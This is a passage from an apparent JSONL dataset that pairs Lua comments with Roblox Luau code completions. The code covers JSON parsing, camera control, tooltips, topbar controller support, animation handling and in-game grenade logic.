self:Peek()\n\twhile p ~= nil and string.find(p, \"[%s/]\") do\n\t\tif p == '/' then\n\t\t\tself:ReadComment()\n\t\telse\n\t\t\tself:Next()\n\t\tend\n\t\tp = self:Peek()\n\tend\nend\n\nfunction JsonReader:Peek()\n\treturn self.reader:Peek()\nend\n\nfunction JsonReader:Next()\n\treturn self.reader:Next()\nend\n\nfunction JsonReader:All()\n\treturn self.reader:All()\nend\n\nfunction Encode(o)\n\tlocal writer = JsonWriter:New()\n\twriter:Write(o)\n\treturn writer:ToString()\nend\n\nfunction Decode(s)\n\tlocal reader = JsonReader:New(s)\n\treturn reader:Read()\nend\n\nfunction Null()\n\treturn Null\nend"} +{"prompt": "--already has E", "completion": "\ne = hear.E\ne.Name = \"Old\"\nnewe = script.E:clone()\nnewe.Text = child.Value\nnewe.Position = e.Position + UDim2.new(0,0,0.03,0)\nnewe.Parent = hear\nwait(0.1)\nnewe.Remover.Disabled = false\nelse"} +{"prompt": "--[[ Functions overridden from BaseCamera ]]", "completion": "--\nfunction LegacyCamera:SetCameraToSubjectDistance(desiredSubjectDistance)\n\treturn BaseCamera.SetCameraToSubjectDistance(self,desiredSubjectDistance)\nend\n\nfunction LegacyCamera:Update(dt)\n\n\t-- Cannot update until cameraType has been set\n\tif not self.cameraType then return end\n\n\tlocal now = tick()\n\tlocal timeDelta = (now - self.lastUpdate)\n\tlocal camera = \tworkspace.CurrentCamera\n\tlocal newCameraCFrame = camera.CFrame\n\tlocal newCameraFocus = camera.Focus\n\tlocal player = PlayersService.LocalPlayer\n\n\tif self.lastUpdate == nil or timeDelta > 1 then\n\t\tself.lastDistanceToSubject = nil\n\tend\n\tlocal subjectPosition = self:GetSubjectPosition()\n\n\tif self.cameraType == Enum.CameraType.Fixed then\n\t\tif self.lastUpdate then\n\t\t\t-- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from\n\t\t\tlocal delta = math.min(0.1, now - self.lastUpdate)\n\t\t\tlocal gamepadRotation = self:UpdateGamepad()\n\t\t\tself.rotateInput = self.rotateInput + (gamepadRotation * delta)\n\t\tend\n\n\t\tif subjectPosition and player and camera then\n\t\t\tlocal distanceToSubject = self:GetCameraToSubjectDistance()\n\t\t\tlocal newLookVector = self:CalculateNewLookVector()\n\t\t\tself.rotateInput = ZERO_VECTOR2\n\n\t\t\tnewCameraFocus = camera.Focus -- Fixed camera does not change focus\n\t\t\tnewCameraCFrame = CFrame.new(camera.CFrame.p, camera.CFrame.p + (distanceToSubject * newLookVector))\n\t\tend\n\telseif self.cameraType == Enum.CameraType.Attach then\n\t\tif subjectPosition and camera then\n\t\t\tlocal distanceToSubject = self:GetCameraToSubjectDistance()\n\t\t\tlocal humanoid = self:GetHumanoid()\n\t\t\tif self.lastUpdate and humanoid and humanoid.RootPart then\n\n\t\t\t\t-- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from\n\t\t\t\tlocal delta = math.min(0.1, now - self.lastUpdate)\n\t\t\t\tlocal gamepadRotation = self:UpdateGamepad()\n\t\t\t\tself.rotateInput = self.rotateInput + (gamepadRotation * delta)\n\n\t\t\t\tlocal forwardVector = humanoid.RootPart.CFrame.lookVector\n\n\t\t\t\tlocal y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector())\n\t\t\t\tif Util.IsFinite(y) then\n\t\t\t\t\t-- Preserve vertical rotation from user input\n\t\t\t\t\tself.rotateInput = Vector2.new(y, self.rotateInput.Y)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal newLookVector = self:CalculateNewLookVector()\n\t\t\tself.rotateInput = ZERO_VECTOR2\n\n\t\t\tnewCameraFocus = CFrame.new(subjectPosition)\n\t\t\tnewCameraCFrame = CFrame.new(subjectPosition - (distanceToSubject * newLookVector), subjectPosition)\n\t\tend\n\telseif self.cameraType == Enum.CameraType.Watch then\n\t\tif subjectPosition and player and camera then\n\t\t\tlocal cameraLook = nil\n\n\t\t\tlocal humanoid = self:GetHumanoid()\n\t\t\tif humanoid and humanoid.RootPart then\n\t\t\t\tlocal diffVector = subjectPosition - camera.CFrame.p\n\t\t\t\tcameraLook = diffVector.unit\n\n\t\t\t\tif self.lastDistanceToSubject and self.lastDistanceToSubject == self:GetCameraToSubjectDistance() then\n\t\t\t\t\t-- Don't clobber the zoom if they zoomed the camera\n\t\t\t\t\tlocal newDistanceToSubject = diffVector.magnitude\n\t\t\t\t\tself:SetCameraToSubjectDistance(newDistanceToSubject)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal distanceToSubject = self:GetCameraToSubjectDistance()\n\t\t\tlocal newLookVector = self:CalculateNewLookVector(cameraLook)\n\t\t\tself.rotateInput = ZERO_VECTOR2\n\n\t\t\tnewCameraFocus = CFrame.new(subjectPosition)\n\t\t\tnewCameraCFrame = CFrame.new(subjectPosition - (distanceToSubject * newLookVector), subjectPosition)\n\n\t\t\tself.lastDistanceToSubject = distanceToSubject\n\t\tend\n\telse\n\t\t-- Unsupported type, return current values unchanged\n\t\treturn camera.CFrame, camera.Focus\n\tend\n\n\tself.lastUpdate = now\n\treturn newCameraCFrame, newCameraFocus\nend\n\nreturn LegacyCamera\n"} +{"prompt": "--[[\n\tFunctions like a hypothetical 'Instance.Destroyed' event - when the instance\n\tis destroyed, cleans up the given task using the default `cleanup` function.\n\tReturns a function which can be called to stop listening for destruction.\n\n\tRelying on this function is dangerous - this should only ever be used when\n\tno more suitable solution exists. In particular, it's almost certainly the\n\twrong solution if you're not dealing with instances passed in by the user.\n\n\tNOTE: yes, this uses polling. I've been working on making this function\n\twork better with events for months, and even then I can't avoid polling. I\n\tjust want something that works in all edge cases, even it if might not be\n\tthe theoretically best solution. This is the best choice for the short term.\n\n\tYou can find the 'better' version with less polling in the\n\t`cleanupOnDestroy_smart` file if you're interested in helping out :)\n]]", "completion": "\n\nlocal RunService = game:GetService(\"RunService\")\n\nlocal Package = script.Parent.Parent\nlocal cleanup = require(Package.Utility.cleanup)\n\ntype TaskData = {\n\tconnection: RBXScriptConnection,\n\ttask: cleanup.Task,\n\tcleaned: boolean\n}\n\nlocal function noOp()\n\t-- intentionally blank - no operation!\nend\n\nlocal tasks: {TaskData} = {}\nlocal numTasks = 0\nlocal currentIndex = 1\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.\n--NOTE: Currently in beta! Not representative of final product.", "completion": "\nlocal u1 = nil;\ncoroutine.wrap(function() -- [line 1] anonymous function\n\t--[[\n\t\tUpvalues: \n\t\t\t[1] = u1\n\t--]]\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nend)();\nlocal v1 = u1.PlayerModule.Get(\"Mouse\");\nlocal u2 = u1.PlayerModule.Get(\"PlayerGui\");\nlocal u3 = v1;\nreturn function(p1, p2) -- [line 6] anonymous function\n\tif not p1 then\n\t\treturn\n\tend\n\t--[[\n\t\tUpvalues: \n\t\t\t[1] = u1\n\t\t\t[2] = u2\n\t\t\t[3] = u3\n\t--]]\n\tif (u1.Variables.Mobile) then\n\t\treturn false;\n\tend\n\tlocal v2 = {};\n\tlocal u4 = u2:FindFirstChild(\"TooltipsFolder\");\n\tif (u4 == nil) then\n\t\tu4 = Instance.new(\"ScreenGui\");\n\t\tu4.Name = \"TooltipsFolder\";\n\t\tu4.DisplayOrder = 999;\n\t\tu4.Parent = u2;\n\tend\n\tlocal u5 = nil;\n\tlocal u6 = false;\n\tlocal f_Remove;\n\tf_Remove = function() -- [line 20] Remove\n\t\t--[[\n\t\t\tUpvalues: \n\t\t\t\t[1] = u5\n\t\t--]]\n\t\tif (u5) then\n\t\t\tu5:Destroy();\n\t\t\tu5 = nil;\n\t\tend\n\tend;\n\tlocal u7 = p2;\n\tlocal u8 = p1;\n\tlocal f_Create;\n\tf_Create = function() -- [line 26] Create\n\t\t--[[\n\t\t\tUpvalues: \n\t\t\t\t[1] = u4\n\t\t\t\t[2] = u5\n\t\t\t\t[3] = u7\n\t\t\t\t[4] = u1\n\t\t\t\t[5] = u6\n\t\t\t\t[6] = u8\n\t\t\t\t[7] = u3\n\t\t--]]\n\t\tu4:ClearAllChildren();\n\t\tu5 = Instance.new(\"TextLabel\");\n\t\tu5.BorderSizePixel = 0;\n\t\tu5.BackgroundColor3 = Color3.new(0.35, 0.35, 0.35);\n\t\tu5.TextColor3 = Color3.new(1, 1, 1);\n\t\tu5.FontSize = Enum.FontSize.Size18;\n\t\tu5.Font = Enum.Font.FredokaOne;\n\t\tu5.Text = u7;\n\t\tlocal v3 = Instance.new(\"UICorner\");\n\t\tv3.CornerRadius = UDim.new(1, 0);\n\t\tv3.Parent = u5;\n\t\tlocal v4 = u1.TextService:GetTextSize(u5.Text, u5.TextSize, u5.Font, Vector2.new(1000, 1000));\n\t\tu5.Size = UDim2.new(0, v4.X + 14, 0, v4.Y + 8);\n\t\tu5.Parent = u4;\n\t\tu6 = false;\n\t\twhile (((not u6) and u5) and ((u5.Parent and u8) and (not u1.Variables.Mobile))) do\n\t\t\tlocal v5 = false;\n\t\t\tlocal v6 = u3.X;\n\t\t\tlocal t_X_1 = v6;\n\t\t\tlocal t_Y_2 = u3.Y;\n\t\t\tlocal v7 = u8.AbsolutePosition.X;\n\t\t\tlocal t_X_3 = v7;\n\t\t\tlocal t_Y_4 = u8.AbsolutePosition.Y;\n\t\t\tlocal v8 = v7 - 10;\n\t\t\tif ((v8 < v6) and (t_X_1 < ((t_X_3 + u8.AbsoluteSize.X) + 10))) then\n\t\t\t\tlocal v9 = t_Y_4 - 10;\n\t\t\t\tif ((v9 < t_Y_2) and (t_Y_2 < ((t_Y_4 + u8.AbsoluteSize.Y) + 10))) then\n\t\t\t\t\tu5.Position = UDim2.new(0, u3.X + 17, 0, u3.Y);\n\t\t\t\telse\n\t\t\t\t\tv5 = true;\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tv5 = true;\n\t\t\tend\n\t\t\tif (v5) then\n\t\t\t\tu6 = true;\n\t\t\tend\n\t\t\tu1.RenderStepped();\n\t\tend\n\t\tif (u5) then\n\t\t\tu5:Destroy();\n\t\t\tu5 = nil;\n\t\tend\n\tend;\n\tlocal v10 = (#v2) + 1;\n\tlocal v11 = p1.MouseEnter;\n\tlocal f_Create = f_Create;\n\tv2[v10] = v11:Connect(function() -- [line 62] anonymous function\n\t\t--[[\n\t\t\tUpvalues: \n\t\t\t\t[1] = u5\n\t\t\t\t[2] = f_Create\n\t\t--]]\n\t\tif (u5) then\n\t\t\tu5:Destroy();\n\t\t\tu5 = nil;\n\t\tend\n\t\tf_Create();\n\tend);\n\tv2[(#v2) + 1] = p1.MouseLeave:Connect(function() -- [line 66] anonymous function\n\t\t--[[\n\t\t\tUpvalues: \n\t\t\t\t[1] = u5\n\t\t--]]\n\t\tif (u5) then\n\t\t\tu5:Destroy();\n\t\t\tu5 = nil;\n\t\tend\n\tend);\n\tlocal u9 = v2;\n\treturn function() -- [line 69] anonymous function\n\t\t--[[\n\t\t\tUpvalues: \n\t\t\t\t[1] = u9\n\t\t\t\t[2] = u6\n\t\t--]]\n\n\t\t\tfor v18, v19 in ipairs(u9) do\n\t\t\tlocal v20 = v18;\n\t\t\tlocal v21 = v19;\n\t\t\tv21:Disconnect();\n\t\tend\n\t\tu6 = true;\n\tend;\nend;\n"} +{"prompt": "--\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n--\tif not success then\n--\t\tallowCustomAnimations = true\n--\tend", "completion": "\n"} +{"prompt": "-- BEHAVIOUR\n--Controller support", "completion": "\ncoroutine.wrap(function()\n\t\n\t-- Create PC 'Enter Controller Mode' Icon\n\trunService.Heartbeat:Wait() -- This is required to prevent an infinite recursion\n\tlocal Icon = require(script.Parent)\n\tlocal controllerOptionIcon = Icon.new()\n\t\t:setProperty(\"internalIcon\", true)\n\t\t:setName(\"_TopbarControllerOption\")\n\t\t:setOrder(100)\n\t\t:setImage(\"rbxassetid://5278150942\")\n\t\t:setRight()\n\t\t:setEnabled(false)\n\t\t:setTip(\"Controller mode\")\n\t\t:setProperty(\"deselectWhenOtherIconSelected\", false)\n\n\t-- This decides what controller widgets and displays to show based upon their connected inputs\n\t-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle\n\t-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode\n\tlocal function determineDisplay()\n\t\tlocal mouseEnabled = userInputService.MouseEnabled\n\t\tlocal controllerEnabled = userInputService.GamepadEnabled\n\t\tlocal iconIsSelected = controllerOptionIcon.isSelected\n\t\tif mouseEnabled and controllerEnabled then\n\t\t\t-- Show icon\n\t\t\tcontrollerOptionIcon:setEnabled(true)\n\t\telseif mouseEnabled and not controllerEnabled then\n\t\t\t-- Hide icon, disableControllerMode\n\t\t\tcontrollerOptionIcon:setEnabled(false)\n\t\t\tIconController._enableControllerMode(false)\n\t\t\tcontrollerOptionIcon:deselect()\n\t\telseif not mouseEnabled and controllerEnabled then\n\t\t\t-- Hide icon, _enableControllerMode\n\t\t\tcontrollerOptionIcon:setEnabled(false)\n\t\t\tIconController._enableControllerMode(true)\n\t\tend\n\tend\n\tuserInputService:GetPropertyChangedSignal(\"MouseEnabled\"):Connect(determineDisplay)\n\tuserInputService.GamepadConnected:Connect(determineDisplay)\n\tuserInputService.GamepadDisconnected:Connect(determineDisplay)\n\tdetermineDisplay()\n\n\t-- Enable/Disable Controller Mode when icon clicked\n\tlocal function iconClicked()\n\t\tlocal isSelected = controllerOptionIcon.isSelected\n\t\tlocal iconTip = (isSelected and \"Normal mode\") or \"Controller mode\"\n\t\tcontrollerOptionIcon:setTip(iconTip)\n\t\tIconController._enableControllerMode(isSelected)\n\tend\n\tcontrollerOptionIcon.selected:Connect(iconClicked)\n\tcontrollerOptionIcon.deselected:Connect(iconClicked)\n\n\t-- Hide/show topbar when indicator action selected in controller mode\n\tuserInputService.InputBegan:Connect(function(input,gpe)\n\t\tif not IconController.controllerModeEnabled then return end\n\t\tif input.KeyCode == Enum.KeyCode.DPadDown then\n\t\t\tif not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then\n\t\t\t\tIconController.setTopbarEnabled(true,false)\n\t\t\tend\n\t\telseif input.KeyCode == Enum.KeyCode.ButtonB then\n\t\t\tIconController._previousSelectedObject = guiService.SelectedObject\n\t\t\tIconController._setControllerSelectedObject(nil)\n\t\t\tIconController.setTopbarEnabled(false,false)\n\t\tend\n\t\tinput:Destroy()\n\tend)\n\n\t-- Setup overflow icons\n\tfor alignment, detail in pairs(alignmentDetails) do\n\t\tif alignment ~= \"mid\" then\n\t\t\tlocal overflowName = \"_overflowIcon-\"..alignment\n\t\t\tlocal overflowIcon = Icon.new()\n\t\t\t\t:setProperty(\"internalIcon\", true)\n\t\t\t\t:setImage(6069276526)\n\t\t\t\t:setName(overflowName)\n\t\t\t\t:setEnabled(false)\n\t\t\tdetail.overflowIcon = overflowIcon\n\t\t\toverflowIcon.accountForWhenDisabled = true\n\t\t\tif alignment == \"left\" then\n\t\t\t\toverflowIcon:setOrder(math.huge)\n\t\t\t\toverflowIcon:setLeft()\n\t\t\t\toverflowIcon:set(\"dropdownAlignment\", \"right\")\n\t\t\telseif alignment == \"right\" then\n\t\t\t\toverflowIcon:setOrder(-math.huge)\n\t\t\t\toverflowIcon:setRight()\n\t\t\t\toverflowIcon:set(\"dropdownAlignment\", \"left\")\n\t\t\tend\n\t\t\toverflowIcon.lockedSettings = {\n\t\t\t\t[\"iconImage\"] = true,\n\t\t\t\t[\"order\"] = true,\n\t\t\t\t[\"alignment\"] = true,\n\t\t\t}\n\t\tend\n\tend\nend)()\n"} +{"prompt": "-- Signals", "completion": "\nbind.OnClientEvent:Connect(bindAction)\nunbind.OnClientEvent:Connect(unbindAction)\n"} +{"prompt": "--Don't touch anything in this script unless you know what you're doing", "completion": "\nscript.Parent.MouseButton1Click:connect(function()\nlocal input = script.Parent.Parent.Input.Text\nlocal sound = script.Parent.Parent.Parent.Sound\nsound.SoundId = 'rbxassetid://'..input\nsound:Play() end)\n"} +{"prompt": "-- loop", "completion": "\n\nDROPS.ChildAdded:connect(function(drop)\n\tfor _, other in pairs(DROPS:GetChildren()) do\n\t\tif other ~= drop then\n\t\t\tlocal offset\t= drop.Position - other.Position\n\t\t\tif math.abs(offset.X) < 2 and math.abs(offset.Y) < 2 and math.abs(offset.Z) < 2 then\n\t\t\t\tlocal distance\t= offset.Magnitude\n\t\t\t\tif distance < 2 then\n\t\t\t\t\tif distance == 0 then\n\t\t\t\t\t\toffset\t= Vector3.new(0, 0, 1)\n\t\t\t\t\tend\n\t\t\t\t\tdrop.CFrame\t\t= drop.CFrame + Vector3.new(offset.X, 0, offset.Z).Unit * 2\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[ INSTRUCTIONS\n- Place in the model\n- Make sure model is anchored\n- That's it. It will weld the model and all children. \n\nTHIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. \nTHIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. \nTHIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. \nTHIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. \nTHIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. \nTHIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. \nTHIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. \nTHIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. \n\nThis script is designed to be used is a regular script. In a local script it will weld, but it will not attempt to handle ancestory changes. \n]]", "completion": "\n"} +{"prompt": "-- shades of EE labs...", "completion": "\nlocal LEDs = {d.P1, d.P2, d.P3, d.P4, d.P5, d.P6, d.P7}\n"} +{"prompt": "-- Signal:Fire(...) implemented by running the handler functions on the\n-- coRunnerThread, and any time the resulting thread yielded without returning\n-- to us, that means that it yielded to the Roblox scheduler and has been taken\n-- over by Roblox scheduling, meaning we have to make a new coroutine runner.\n--[=[\n\t@param ... any\n\n\tFire the signal, which will call all of the connected functions with the given arguments.\n\t```lua\n\tsignal:Fire(\"Hello\")\n\n\t-- Any number of arguments can be fired:\n\tsignal:Fire(\"Hello\", 32, {Test = \"Test\"}, true)\n\t```\n]=]", "completion": "\nfunction Signal:Fire(...)\n\tlocal item = self._handlerListHead\n\twhile item do\n\t\tif item.Connected then\n\t\t\tif not freeRunnerThread then\n\t\t\t\tfreeRunnerThread = coroutine.create(runEventHandlerInFreeThread)\n\t\t\tend\n\t\t\ttask.spawn(freeRunnerThread, item._fn, ...)\n\t\tend\n\t\titem = item._next\n\tend\nend\n"} +{"prompt": "--[[**\n\tensures Roblox Faces type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Faces = primitive(\"Faces\")\n"} +{"prompt": "------------------------------------------------------------------------------\n--------------------[ MAIN PROGRAM ]------------------------------------------\n------------------------------------------------------------------------------", "completion": "\n\nfunction DetonateExplosive()\n\tlocal GrenadePos = Main.Position\n\t\n\tCreateShockwave(Main.Position, S.GrenadeBlastRadius)\n\t\n\tSound:Play()\n\t\n\tlocal E = Instance.new(\"Explosion\")\n\tE.BlastPressure = S.GrenadeBlastPressure\n\tE.BlastRadius = S.GrenadeBlastRadius\n\tE.DestroyJointRadiusPercent = (S.GrenadeRangeBasedDamage and 0 or 1)\n\tE.ExplosionType = S.GrenadeExplosionType\n\tE.Position = GrenadePos\n\tE.Hit:connect(function(HObj, HDist)\n\t\tif (not IsIgnored(HObj)) and HObj.Name == \"Torso\" then\n\t\t\tif S.GrenadeRangeBasedDamage then\n\t\t\t\tlocal ClosestPart = nil\n\t\t\t\tlocal ClosestDist = math.huge\n\t\t\t\t\n\t\t\t\tfor _, P in pairs(HObj.Parent:GetChildren()) do\n\t\t\t\t\tif P:IsA(\"BasePart\") then\n\t\t\t\t\t\tlocal Dist = (GrenadePos - P.Position).magnitude\n\t\t\t\t\t\tif Dist < ClosestDist then\n\t\t\t\t\t\t\tClosestPart = P\n\t\t\t\t\t\t\tClosestDist = Dist\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlocal Dir = (ClosestPart.Position - GrenadePos).unit\n\t\t\t\tlocal H, P = AdvRayCast(GrenadePos, Dir, 999)\n\t\t\t\tlocal RayHitHuman = H:IsDescendantOf(HObj.Parent)\n\t\t\t\tif (S.GrenadeRayCastExplosions and RayHitHuman) or (not S.GrenadeRayCastExplosions) then\n\t\t\t\t\tlocal HitHumanoid = FindFirstClass(HObj.Parent, \"Humanoid\")\n\t\t\t\t\tif HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then\n\t\t\t\t\t\tlocal DistFactor = ClosestDist / S.GrenadeBlastRadius\n\t\t\t\t\t\tlocal DistInvert = math.max(1 - DistFactor, 0)\n\t\t\t\t\t\tlocal NewDamage = DistInvert * S.LethalGrenadeDamage\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal CreatorTag = Instance.new(\"ObjectValue\")\n\t\t\t\t\t\tCreatorTag.Value = Plyr\n\t\t\t\t\t\tCreatorTag.Name = \"creator\"\n\t\t\t\t\t\tCreatorTag.Parent = HitHumanoid\n\t\t\t\t\t\tHitHumanoid:TakeDamage(NewDamage)\n\t\t\t\t\t\tMarkHit()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tlocal HitHumanoid = FindFirstClass(HObj.Parent, \"Humanoid\")\n\t\t\t\tif HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then\n\t\t\t\t\tlocal CreatorTag = Instance.new(\"ObjectValue\")\n\t\t\t\t\tCreatorTag.Value = Plyr\n\t\t\t\t\tCreatorTag.Name = \"creator\"\n\t\t\t\t\tCreatorTag.Parent = HitHumanoid\n\t\t\t\t\tMarkHit()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\tE.Parent = game.Workspace\n\t\n\tMain.Transparency = 1\n\tMain.Anchored = true\n\tMain.CanCollide = false\n\t\n\twait(1)\n\t\n\tConnection:disconnect()\n\tMain:Destroy()\nend\n\nMain.Touched:connect(function(Obj)\n\tif IsIgnored(Obj) or Detonated then return end\n\tGrenadeCF = Main.CFrame\n\t\n\tlocal W = Instance.new(\"Weld\")\n\tW.Name = \"Semtex\"\n\tW.Part0 = Main\n\tW.Part1 = Obj\n\tW.C0 = GrenadeCF:toObjectSpace(Obj.CFrame)\n\tW.Parent = Main\n\t\n\tConnection = Main.ChildRemoved:connect(function(C)\n\t\tif C.Name == \"Semtex\" and (not Detonated) then\n\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\tW.Name = \"Semtex\"\n\t\t\tW.Part0 = Main\n\t\t\tW.Part1 = Obj\n\t\t\tW.C0 = GrenadeCF:toObjectSpace(Obj.CFrame)\n\t\t\tW.Parent = Main\n\t\tend\n\tend)\n\t\n\tif S.TimerStartOnHit then\n\t\tDetonated = true\n\t\twait(S.DetonationTime)\n\t\tDetonateExplosive()\n\tend\nend)\n\nif (not S.TimerStartOnHit) then\n\twait(S.DetonationTime)\n\tDetonated = true\n\tDetonateExplosive()\nend\n"} +{"prompt": "--[[\n\tSaved profile structure:\n\t\n\tDataStoreProfile = {\n\t\tData = {},\n\t\tMetaData = {\n\t\t\tProfileCreateTime = 0,\n\t\t\tSessionLoadCount = 0,\n\t\t\tActiveSession = {place_id, game_job_id} / nil,\n\t\t\tForceLoadSession = {place_id, game_job_id} / nil,\n\t\t\tMetaTags = {},\n\t\t\tLastUpdate = 0, -- os.time()\n\t\t},\n\t\tRobloxMetaData = {},\n\t\tUserIds = {},\n\t\tGlobalUpdates = {\n\t\t\tupdate_index,\n\t\t\t{\n\t\t\t\t{update_id, version_id, update_locked, update_data},\n\t\t\t\t...\n\t\t\t}\n\t\t},\n\t}\n\t\n\tOR\n\t\n\tDataStoreProfile = {\n\t\tGlobalUpdates = {\n\t\t\tupdate_index,\n\t\t\t{\n\t\t\t\t{update_id, version_id, update_locked, update_data},\n\t\t\t\t...\n\t\t\t}\n\t\t},\n\t}\n--]]", "completion": "\n"} +{"prompt": "-- Wait for the client's initial replication to complete.\n-- This should allow us to avoid having a mountian of WaitForChilds \ud83d\ude05\n--repeat wait(0.1) until game.Loaded:Wait()", "completion": "\nif not game:IsLoaded() then\n\tgame.Loaded:Wait()\nend\n"} +{"prompt": "--[[\n\tCalls await and only returns if the Promise resolves.\n\tThrows if the Promise rejects or gets cancelled.\n]]", "completion": "\nfunction Promise.prototype:expect()\n\treturn expectHelper(self:awaitStatus())\nend\n"} +{"prompt": "-- constants", "completion": "\n\nlocal EFFECTS\t= Workspace:WaitForChild(\"Effects\")\nlocal CAMERA\t= Workspace.CurrentCamera\nlocal EVENTS\t= ReplicatedStorage:WaitForChild(\"Events\")\n"} +{"prompt": "--EFFECT", "completion": "\n\n\nscript.Parent.BrickColor = BrickColor.new(\"New Yeller\")\nwait(1)\ntrans = 0\nfor i = 1, 50 do\ntrans = trans - 0.05\nscript.Parent.Transparency = script.Parent.Transparency - trans\nwait(.5)\nend\nscript.Parent:Destroy()\n"} +{"prompt": "--", "completion": "\ntool.Activated:connect(function()\n\tmouseclick = true\nend)\ntool.Deactivated:connect(function()\n\tmouseclick = false\nend)"} +{"prompt": "--[[INSTALL PROCESS]]--\n-- Place the brick in the body group, where your radiator would be, and place the \"Temperature\" GUI in the plugin folder!\n-- This plugin is Filtering Enabled compatible", "completion": "\n\n\nscript:WaitForChild(\"Celsius\")\nscript:WaitForChild(\"Blown\")\nlocal car = script.Parent.Parent.Parent.Parent.Car.Value\nlocal radiator = car.Body.Smoke\nlocal mouse = game.Players.LocalPlayer:GetMouse()\nlocal handler = car.EngineOverheat\nlocal FE = workspace.FilteringEnabled\n"} +{"prompt": "--// Event Connections", "completion": "\nL_108_.OnClientEvent:connect(function(L_313_arg1, L_314_arg2)\n\tif L_313_arg1 ~= L_2_ then\n\t\tlocal L_315_ = L_313_arg1.Character\n\t\tlocal L_316_ = L_315_.AnimBase.AnimBaseW\n\t\tlocal L_317_ = L_316_.C1\n\t\tif L_314_arg2 then\n\t\t\tL_121_(L_316_, nil , L_315_.Head.CFrame, function(L_318_arg1)\n\t\t\t\treturn math.sin(math.rad(L_318_arg1))\n\t\t\tend, 0.25)\n\t\telseif not L_314_arg2 then\n\t\t\tL_121_(L_316_, nil , L_317_, function(L_319_arg1)\n\t\t\t\treturn math.sin(math.rad(L_319_arg1))\n\t\t\tend, 0.25)\n\t\tend\n\tend\nend)\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\nlocal toolAnimName = \"\"\nlocal toolAnimTrack = nil\nlocal toolAnimInstance = nil\nlocal currentToolAnimKeyframeHandler = nil\n\nfunction toolKeyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\t\t--\t\tprint(\"Keyframe : \".. frameName)\t\n\t\tplayToolAnimation(toolAnimName, 0.0, Humanoid)\n\tend\nend\n\n\nfunction playToolAnimation(animName, transitionTime, humanoid, priority)\t \n\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\t--\t\tprint(animName .. \" * \" .. idx .. \" [\" .. origRoll .. \"]\")\n\tlocal anim = animTable[animName][idx].anim\n\n\tif (toolAnimInstance ~= anim) then\n\n\t\tif (toolAnimTrack ~= nil) then\n\t\t\ttoolAnimTrack:Stop()\n\t\t\ttoolAnimTrack:Destroy()\n\t\t\ttransitionTime = 0\n\t\tend\n\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\ttoolAnimTrack = humanoid:LoadAnimation(anim)\n\t\tif priority then\n\t\t\ttoolAnimTrack.Priority = priority\n\t\tend\n\n\t\t-- play the animation\n\t\ttoolAnimTrack:Play(transitionTime)\n\t\ttoolAnimName = animName\n\t\ttoolAnimInstance = anim\n\n\t\tcurrentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)\n\tend\nend\n\nfunction stopToolAnimations()\n\tlocal oldAnim = toolAnimName\n\n\tif (currentToolAnimKeyframeHandler ~= nil) then\n\t\tcurrentToolAnimKeyframeHandler:disconnect()\n\tend\n\n\ttoolAnimName = \"\"\n\ttoolAnimInstance = nil\n\tif (toolAnimTrack ~= nil) then\n\t\ttoolAnimTrack:Stop()\n\t\ttoolAnimTrack:Destroy()\n\t\ttoolAnimTrack = nil\n\tend\n\n\n\treturn oldAnim\nend\n"} +{"prompt": "--/////////////////////////////////////////////////////////--", "completion": "\n\nlocal curSize\nlocal create\nlocal Expand\nlocal doHide\nlocal doClose\nlocal dragSize\nlocal isVisible\nlocal DoRefresh\nlocal getNextPos\nlocal wallPosition\nlocal setPosition\nlocal checkMouse\nlocal isInFrame \nlocal setSize\nlocal apiIfy\n\nclient = nil\ncPcall = nil\nPcall = nil\nRoutine = nil\nservice = nil\nGetEnv = nil\n\nlocal function isGui(child)\n\treturn child:IsA(\"GuiObject\");\nend\n"} +{"prompt": "--//Controller//--", "completion": "\nRunService.RenderStepped:Connect(function()\n\tTweenService:Create(\n\t\tDisplay,\n\t\t\n\t\tTweenInfo.new(\n\t\t\t0.25\n\t\t),\n\t\t\n\t\t{\n\t\t\tSize = UDim2.new(1 